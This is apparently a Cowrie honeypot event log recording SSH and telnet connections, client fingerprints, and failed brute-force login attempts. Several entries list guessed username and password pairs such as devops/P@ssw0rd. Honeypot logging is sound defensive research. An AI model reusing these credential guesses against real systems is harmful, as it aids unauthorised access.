{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:30.980301Z","src_ip":"177.85.247.230","session":"16dbd7c9098a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@$$word","message":"login attempt [user/P@$$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:31.416671Z","src_ip":"177.85.247.230","session":"16dbd7c9098a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:32.520749Z","src_ip":"177.85.247.230","session":"16dbd7c9098a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.30088782310486,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:33.303954Z","src_ip":"38.54.119.93","session":"5440da84f61f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.06024193763733,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:38.060551Z","src_ip":"38.54.119.93","session":"55616149277c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56644,"dst_ip":"10.17.0.5","dst_port":23,"session":"89b3891dd060","protocol":"telnet","message":"New connection: 65.60.27.33:56644 (10.17.0.5:23) [session: 89b3891dd060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:42.411064Z"}
{"eventid":"cowrie.session.closed","duration":48.64987301826477,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:48.373895Z","src_ip":"38.54.119.93","session":"5bd9f3dba2a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":49862,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f885404725","protocol":"ssh","message":"New connection: 186.113.245.157:49862 (10.17.0.5:22) [session: c0f885404725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:48.777296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:48.781762Z","src_ip":"186.113.245.157","session":"c0f885404725","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:48.876065Z","src_ip":"186.113.245.157","session":"c0f885404725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"P@ssw0rd","message":"login attempt [devops/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:49.274492Z","src_ip":"186.113.245.157","session":"c0f885404725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:50.368572Z","src_ip":"186.113.245.157","session":"c0f885404725","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41922,"dst_ip":"159.203.135.109","dst_port":23,"session":"db1682cb6f46","protocol":"telnet","message":"New connection: 38.60.198.128:41922 (159.203.135.109:23) [session: db1682cb6f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:52.693006Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":59470,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ba171ae28a3","protocol":"ssh","message":"New connection: 191.101.59.69:59470 (159.203.135.109:22) [session: 4ba171ae28a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:59.486026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:59.590488Z","src_ip":"191.101.59.69","session":"4ba171ae28a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:28:59.684490Z","src_ip":"191.101.59.69","session":"4ba171ae28a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"123","message":"login attempt [ts3server/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:00.810193Z","src_ip":"191.101.59.69","session":"4ba171ae28a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:02.593905Z","src_ip":"191.101.59.69","session":"4ba171ae28a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41328,"dst_ip":"10.17.0.5","dst_port":23,"session":"e79a7e724b3c","protocol":"telnet","message":"New connection: 38.54.119.93:41328 (10.17.0.5:23) [session: e79a7e724b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:02.656267Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":24762,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8df390edd14","protocol":"ssh","message":"New connection: 115.68.208.117:24762 (10.17.0.5:22) [session: a8df390edd14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:04.387578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:04.392291Z","src_ip":"115.68.208.117","session":"a8df390edd14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:04.601329Z","src_ip":"115.68.208.117","session":"a8df390edd14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.0825457572937,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:04.909243Z","src_ip":"192.211.53.160","session":"e4188fbb280a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.36396527290344,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:05.331079Z","src_ip":"38.60.198.128","session":"c521992700a0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"12345678","message":"login attempt [vncuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:05.451060Z","src_ip":"115.68.208.117","session":"a8df390edd14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:06.661836Z","src_ip":"115.68.208.117","session":"a8df390edd14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.50372338294983,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:08.335613Z","src_ip":"192.211.53.160","session":"81d911bfed11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00644755363464,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:14.241062Z","src_ip":"190.183.203.15","session":"1380ee453056","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.183.203.15","src_port":56024,"dst_ip":"159.203.135.109","dst_port":23,"session":"11c77c4059c3","protocol":"telnet","message":"New connection: 190.183.203.15:56024 (159.203.135.109:23) [session: 11c77c4059c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:14.669310Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":1718,"dst_ip":"10.17.0.5","dst_port":22,"session":"b924fcd449f0","protocol":"ssh","message":"New connection: 177.85.247.230:1718 (10.17.0.5:22) [session: b924fcd449f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:26.355912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:26.360211Z","src_ip":"177.85.247.230","session":"b924fcd449f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:26.461070Z","src_ip":"177.85.247.230","session":"b924fcd449f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"4dm1n1str4t0r","message":"login attempt [administrator/4dm1n1str4t0r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:26.900874Z","src_ip":"177.85.247.230","session":"b924fcd449f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.73122978210449,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:27.142187Z","src_ip":"65.60.27.33","session":"89b3891dd060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":59840,"dst_ip":"159.203.135.109","dst_port":22,"session":"1667227850a4","protocol":"ssh","message":"New connection: 186.10.86.130:59840 (159.203.135.109:22) [session: 1667227850a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:27.565768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:27.569476Z","src_ip":"186.10.86.130","session":"1667227850a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:27.714852Z","src_ip":"186.10.86.130","session":"1667227850a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:28.004933Z","src_ip":"177.85.247.230","session":"b924fcd449f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123123","message":"login attempt [hadoop/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:28.327594Z","src_ip":"186.10.86.130","session":"1667227850a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:29.485563Z","src_ip":"186.10.86.130","session":"1667227850a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.52647542953491,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:30.219382Z","src_ip":"38.60.198.128","session":"db1682cb6f46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":57350,"dst_ip":"10.17.0.5","dst_port":23,"session":"08d46948957b","protocol":"telnet","message":"New connection: 45.81.23.16:57350 (10.17.0.5:23) [session: 08d46948957b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:48.818274Z"}
{"eventid":"cowrie.session.closed","duration":48.63771867752075,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:51.293817Z","src_ip":"38.54.119.93","session":"e79a7e724b3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":52626,"dst_ip":"159.203.135.109","dst_port":23,"session":"a55209113934","protocol":"telnet","message":"New connection: 192.211.53.160:52626 (159.203.135.109:23) [session: a55209113934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:52.135764Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37244,"dst_ip":"159.203.135.109","dst_port":23,"session":"1995a41d1d80","protocol":"telnet","message":"New connection: 38.60.198.128:37244 (159.203.135.109:23) [session: 1995a41d1d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:58.297503Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":24284,"dst_ip":"10.17.0.5","dst_port":22,"session":"632f7c5bc1ba","protocol":"ssh","message":"New connection: 115.68.208.117:24284 (10.17.0.5:22) [session: 632f7c5bc1ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:58.367102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:58.373467Z","src_ip":"115.68.208.117","session":"632f7c5bc1ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:58.580630Z","src_ip":"115.68.208.117","session":"632f7c5bc1ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38742,"dst_ip":"159.203.135.109","dst_port":23,"session":"95cff837efdb","protocol":"telnet","message":"New connection: 38.60.198.128:38742 (159.203.135.109:23) [session: 95cff837efdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:59.417193Z"}
